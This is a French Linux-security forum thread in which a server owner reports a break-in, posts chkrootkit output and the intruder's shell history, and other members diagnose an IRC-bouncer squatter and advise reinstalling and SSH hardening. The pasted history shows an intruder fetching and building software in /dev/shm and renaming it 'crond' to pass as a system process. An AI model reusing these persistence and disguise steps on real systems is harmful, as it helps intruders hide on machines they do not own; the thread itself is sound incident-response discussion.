Précédent   Forum du club des développeurs et IT Pro > Systèmes > Linux > Sécurité
Sécurité Vos questions sur la sécurité sous Linux/Unix
Partagez cette discussion sur d'autres réseaux sociaux : Viadeo Twitter Google Facebook Digg Delicious MySpace Yahoo
Réponse
 
Outils de la discussion
Publicité
'
Vieux 22/10/2012, 09h10   #1
darkendorf
Membre du Club
 
Homme
Développeur informatique
Inscription : novembre 2006
Messages : 109
Détails du profil
Informations personnelles :
Sexe : Homme
Localisation : France, Alpes Maritimes (Provence Alpes Côte d'Azur)

Informations professionnelles :
Activité : Développeur informatique
Secteur : High Tech - Éditeur de logiciels

Informations forums :
Inscription : novembre 2006
Messages : 109
Points : 54
Points : 54
Par défaut Suspicion hacking plus que certaine

Bonjour !

@noob inside !!

un petit malin (bien plus que moi vu je n'y connais rien) a très certainement pénétré mon petit serveur linux (Centos5).

petit historique :

Chkroot kit a ajouté cela à ses logs :
Code :
1
2
3
4
5
6
7
8
9
10
11
12
13
Warning: `//root/.bash_history
//home/.bash_history
//var/html/.bash_history' file size is zero
INFECTED (PORTS:  465)
 The tty of the following user process(es) were not found
 in /var/run/utmp !
! root         3921 tty1   /sbin/mingetty tty1
! root         3922 tty2   /sbin/mingetty tty2
! root         3925 tty3   /sbin/mingetty tty3
! root         3928 tty4   /sbin/mingetty tty4
! root         3929 tty5   /sbin/mingetty tty5
! root         3930 tty6   /sbin/mingetty tty6
! root        13082 pts/1  /bin/bash
clamav ne veut plus logger correctement depuis vendredi; mail d'alerte :
Code :
1
2
3
4
5
6
7
8
9
10
/etc/cron.hourly/freshclam:
 
ERROR: Can't open /var/log/clamav/freshclam.log in append mode (check permissions!).
/etc/cron.hourly/inn-cron-nntpsend:
 
cannot determine current run level
/etc/cron.hourly/inn-cron-rnews:
 
cannot determine current run level
/etc/cron.hourly/mcelog:
et un chkrootkit -x lkm me donne :
Citation:
ROOTDIR is `/'
find: WARNING: Hard link count is wrong for /proc/1: this may be a bug in your f ilesystem driver. Automatically turning on find's -noleaf option. Earlier resu lts may have failed to include directories that should have been searched.
###
### Output of: ./chkproc -v -v -p 3
###
CWD 11859: /
EXE 11859: /usr/local/psa/admin/bin/modules/watchdog/monit
CWD 13185: /var/lib/mysql
EXE 13185: /usr/libexec/mysqld
CWD 13186: /var/lib/mysql
EXE 13186: /usr/libexec/mysqld
CWD 13187: /var/lib/mysql
EXE 13187: /usr/libexec/mysqld
CWD 13188: /var/lib/mysql
EXE 13188: /usr/libexec/mysqld
CWD 13193: /var/lib/mysql
EXE 13193: /usr/libexec/mysqld
CWD 13194: /var/lib/mysql
EXE 13194: /usr/libexec/mysqld
CWD 13195: /var/lib/mysql
EXE 13195: /usr/libexec/mysqld
CWD 13196: /var/lib/mysql
EXE 13196: /usr/libexec/mysqld
CWD 13240: /home/dumas/ /sbnc
EXE 13240: /home/dumas/ /sbnc/bin/sbnc
CWD 13771: /var/lib/mysql
EXE 13771: /usr/libexec/mysqld
CWD 28578: /var/named/run-root/var
EXE 28578: /usr/sbin/named
CWD 28579: /var/named/run-root/var
EXE 28579: /usr/sbin/named
CWD 28580: /var/named/run-root/var
EXE 28580: /usr/sbin/named
CWD 28581: /var/named/run-root/var
EXE 28581: /usr/sbin/named
CWD 28962: /
EXE 28962: /usr/sbin/automount
CWD 28963: /
EXE 28963: /usr/sbin/automount
CWD 28966: /
EXE 28966: /usr/sbin/automount
CWD 28969: /
EXE 28969: /usr/sbin/automount
CWD 29323: /
EXE 29323: /sbin/auditd
CWD 29325: /
EXE 29325: /sbin/audispd
CWD 29816: /
EXE 29816: /usr/sbin/pcscd
ce Dumas viens d’apparaître sur mon système dans /home/dumas/ avec ce .bash_history :
Code :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
cd /dev/shm
w
ps x
cd /dev/shm
ls -as
cd sbnc-1.3beta6
cd src
ls -as
mv cron sbnc
./sbnc
./sbnc
ps x
kill -9 30017
./sbnc
kill -9 30017
ps x
kill -9 30110
mv sbnc crond
PATH=:$PATH
crond
ps x
cd /dev/shm
ls -as
cd " .    "
ls -as
cd sbnc-1.3beta6
make
cd /home
las -as
ls -as
cd /dev/shm
ls -as
wget http://www.shroudbnc.info/redmine/attachments/download/28/sbnc-1.3beta6.tar.gz
tar zxvf sbnc-1.3beta6.tar.gz
cd sbnc-1.3beta6
ls -sd
ls -as
./configure
make
make install
ls -as
cd src
ls -as
ps x
mv sbnc cron
PATH=:$PATH
crond
ps x
kill -9 30124
cd /dev/shm
ls -as
rm -rf *
cd
wget http://www.shroudbnc.info/redmine/attachments/download/28/sbnc-1.3beta6.tar.gz
tar zxvf sbnc-1.3beta6.tar.gz
rm -rf sbnc-1.3beta6.tar.gz
cd sbnc-1.3beta6
ls -as
./configure
./configure*
chmod +x *
make
./make insall
/make install
./make
make install
ls -as
cd php
ls -as
cd src
ls -as
cd ..
cd src
ls .as
ls -as
./sbnc
ps x
kill -9 11764
cd ..
ls -as
cd ..
ls -as
cd sbnc
ls -as
./sbnc
./sbnc
ls -as
ps x
kill -9 12718
mv sbnc crond
PATH=:$PATH
crond
w
last
ps x
kill -9 30461 16431 3356
help !!! là je suis en sueurs...
darkendorf est déconnecté   Envoyer un message privé Réponse avec citation 10
Vieux 22/10/2012, 17h50   #2
Vlamy
Nouveau Membre du Club
 
Willy Malvault
Développeur Java
Inscription : octobre 2010
Messages : 8
Détails du profil
Informations personnelles :
Nom : Willy Malvault
Âge : 29
Localisation : France, Isère (Rhône Alpes)

Informations professionnelles :
Activité : Développeur Java
Secteur : High Tech - Éditeur de logiciels

Informations forums :
Inscription : octobre 2010
Messages : 8
Points : 28
Points : 28
Pas de panique !

L'apparition d'un "dumas" dans ton home et le contenu du .bashrc laisse effectivement penser qu'une intrusion à eut lieux sur cette machine.

Est-ce une machine de bureau, un serveur en production?

Si ce n'est pas une machine trop importante, je dirais que la première chose à faire, c'est débrancher la prise réseau

Ensuite tu peux prendre ton temps pour désinfecter/réinstaller, sachant que pour garantir l'intégrité de ton système, je te conseillerai de repartir d'une installation propre.
Ensuite, tu peux passer toutes les arborescences que tu gardes (ancien /home, /opt;, ...etc) à l'antivirus avant de les intégrer dans ton nouveau système.

Si c'est une machine important (serveur en production), là je crois qu'il y a un sérieux problème de sécurité dans votre installation. Ou un gros coup de pas de chance.
Sinon, peut être une blague d'un collègue...
Vlamy est déconnecté   Envoyer un message privé Réponse avec citation 10
Vieux 22/10/2012, 22h41   #3
Obsidian
Modérateur
 
Avatar de Obsidian
 
Homme
Chercheur d'emploi
Inscription : septembre 2007
Messages : 4 614
Détails du profil
Informations personnelles :
Sexe : Homme
Âge : 36
Localisation : France, Essonne (Île de France)

Informations professionnelles :
Activité : Chercheur d'emploi
Secteur : High Tech - Éditeur de logiciels

Informations forums :
Inscription : septembre 2007
Messages : 4 614
Points : 11 089
Points : 11 089
Ah oui là, c'est bien un visiteur indélicat. C'est bien vu d'avoir repéré le home de l'utilisateur et d'avoir été lire son .bash_history. Les commandes sont manifestement tapées par une personne et pas par un script automatique.

Cela dit, ça sent plus le script kiddy que le vrai pirate bien nuisible. « sbnc » est un proxy IRC en GPL. Il s'agit sans doute d'une bande de gamers qui se sont cherchés une machine extérieure pour servir de relais et y héberger un proxy IRC sur un port répandu pour contourner le filtrage de leur boîte et tchater depuis le boulot. Les manips avec cron montre qu'il a essayé de faire un truc qui se redémarrait tout seul en cas de crash.

Il est fort probable que tu aies subi une simple attaque par dictionnaire : un mot de passe un peu trop répandu, le droit d'exécuter sudo sur son compte et le tour est joué.

La première chose à faire, donc, est choisir un mot de passe sérieux ou, à tout le moins, contrôler les utilisateurs qui peuvent se connecter depuis l'extérieur avec ton serveur. S'il est nécessaire qu'il puissent le faire quand même et s'il est trop difficile de leur faire utiliser des passphrases ou des mots de passe soignés, essaie déjà de mettre en place un filtre selon la source de l'utilisateur et si possible, mets en place un certificat pour authentifier la connexion.

Ensuite, dans la mesure où l'on ne peut pas garantir ce qui a été corrompu ou pas, le plus propre reste une bonne réinstallation. L'avantage avec un Unix, c'est qu'il te suffit en principe de mettre le /home de côté et le restaurer une fois le serveur remasterisé. Si toutefois c'est un serveur de production et que tu ne peux pas l'arrêter comme ça, fais un « rpm -qa » pour obtenir la liste des packages installés et fais un --reinstall sur chacun d'eux.
Obsidian est déconnecté   Envoyer un message privé Réponse avec citation 10
Vieux 23/10/2012, 10h10   #4
darkendorf
Membre du Club
 
Homme
Développeur informatique
Inscription : novembre 2006
Messages : 109
Détails du profil
Informations personnelles :
Sexe : Homme
Localisation : France, Alpes Maritimes (Provence Alpes Côte d'Azur)

Informations professionnelles :
Activité : Développeur informatique
Secteur : High Tech - Éditeur de logiciels

Informations forums :
Inscription : novembre 2006
Messages : 109
Points : 54
Points : 54
Merci à vous deux, effectivement j'ai fais une nettoyage hier, tout s'est bien passé.
Plesk 9.5, un apache et phpmyadmin anciens et des mots de passes utilisateurs très faibles ont certainement aidés à l'intrusion. kicker ce user, changer tout les mdp et scanner tout les scripts de démarrage a été un travail terrible... php, mysql pgsql avaient été mis à jour par un script et m'avaient mis un joyeux b***del.

Effectivement c'est un "kiddy" comme tu dis, il a laissé sa trace un peu partout et il m'a fallut peu de temps pour savoir ou il était allé, et qu'est-ce qui avait été modifié ^^ (répertoire d'installation renommé en " ", etc/init.d un peu squatté, crontabs altérés...)

Par contre, j’apprends tout les jours, mais un indice pour interdire tout le monde sauf root à accéder au ssh ?? oui je sais il me faudrait un second user avec des droits équivalents et retirer root du ssh... je suis aussi preneur (lien ou explication).

Plesk est une véritable plaie pour maintenir un serveur à jour, ma dernière solution aujourd'hui est de commander un nouveau serveur et basculer les données, ce n'est financièrement pas le moment... donc je me remonte les manches et j'apprends ^^ heureusement je suis tombé sur un squatteur, pas un "annihilateur"...
darkendorf est déconnecté   Envoyer un message privé Réponse avec citation 20
Vieux 23/10/2012, 10h49   #5
Obsidian
Modérateur
 
Avatar de Obsidian
 
Homme
Chercheur d'emploi
Inscription : septembre 2007
Messages : 4 614
Détails du profil
Informations personnelles :
Sexe : Homme
Âge : 36
Localisation : France, Essonne (Île de France)

Informations professionnelles :
Activité : Chercheur d'emploi
Secteur : High Tech - Éditeur de logiciels

Informations forums :
Inscription : septembre 2007
Messages : 4 614
Points : 11 089
Points : 11 089
Citation:
Envoyé par darkendorf Voir le message
Par contre, j’apprends tout les jours, mais un indice pour interdire tout le monde sauf root à accéder au ssh ?? oui je sais il me faudrait un second user avec des droits équivalents et retirer root du ssh... je suis aussi preneur (lien ou explication).
« Interdire à tout le monde sauf root », ce n'est pas une bonne idée non plus. Autant fermer complètement le ssh. Mais tu peux quand même faire une sélection assez fine des utilisateurs autorisés à se connecter en ssh avec la directive AllowUsers du fichier de configuration de sshd. Fais man sshd_config.

Vois aussi /etc/securetty, ainsi que /var/log/secure.

Bon courage.
Obsidian est déconnecté   Envoyer un message privé Réponse avec citation 10
Vieux 26/10/2012, 08h43   #6
darkendorf
Membre du Club
 
Homme
Développeur informatique
Inscription : novembre 2006
Messages : 109
Détails du profil
Informations personnelles :
Sexe : Homme
Localisation : France, Alpes Maritimes (Provence Alpes Côte d'Azur)

Informations professionnelles :
Activité : Développeur informatique
Secteur : High Tech - Éditeur de logiciels

Informations forums :
Inscription : novembre 2006
Messages : 109
Points : 54
Points : 54
bon, machine trop squattée, plein de scripts absolument partout, le squatteur est revenu tranquillement.
Je transfère vers un nouveau serveur (upgrade matérielle et logicielle au passage).
Perte de temps terrible, mais gain de productivité et de sécurité, un bien pour un mal...
darkendorf est déconnecté   Envoyer un message privé Réponse avec citation 10
Réponse
Outils de la discussion

Navigation rapide


Fuseau horaire GMT +2. Il est actuellement 06h55.


 
 
 
 
Partenaires

Hébergement Web